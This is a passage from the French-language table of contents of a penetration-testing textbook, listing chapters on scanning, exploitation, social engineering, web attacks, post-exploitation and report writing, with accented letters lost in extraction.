Scans UDP avec Nmap
Scans Xmas avec Nmap
Scans Null avec Nmap
Le moteur de script de Nmap
Conclusion
Scan de vulnrabilits
Mettre en pratique cette phase
Et ensuite
En rsum
4. Exploitation
Introduction
Medusa
Metasploit
John the Ripper
Craquage local des mots de passe
Craquage distance des mots de
passe
Craquage des mots de passe Linux et
lvation des privilges
Rinitialisation des mots de passe
Wireshark
Macof
Armitage
Pourquoi apprendre cinq outils alors
quun seul suffit ?
Mettre en pratique cette phase
Et ensuite
En rsum
5. Ingnierie sociale
Introduction
Les bases de SET
Sites web en tant que vecteurs dattaque
Le moissonneur dinformations de connexion
Autres options de SET
En rsum
6. Exploitation web
Introduction
Les bases du hacking web
Nikto
w3af
Indexation web
Intercepter des requtes avec WebScarab
Attaques par injection de code
Cross-site scripting
Zed Attack Proxy
Interception dans ZAP
Indexation dans ZAP
Scan dans ZAP
Mettre en pratique cette phase
Et ensuite
Ressources supplmentaires
En rsum
7. Postexploitation et maintien daccs
Introduction
Netcat
Cryptcat
Rootkits
Hacker Defender
Dtecter les rootkits et sen dfendre
Meterpreter
Mettre en pratique cette phase
Et ensuite
En rsum
8. Conclusion dun test dintrusion
Introduction
Rdiger le rapport de test dintrusion
Synthse
Rapport dtaill
Sorties brutes
Participer
Et ensuite
Conclusion
Le cercle de la vie
En rsum
Index

Vous aimerez peut-être aussi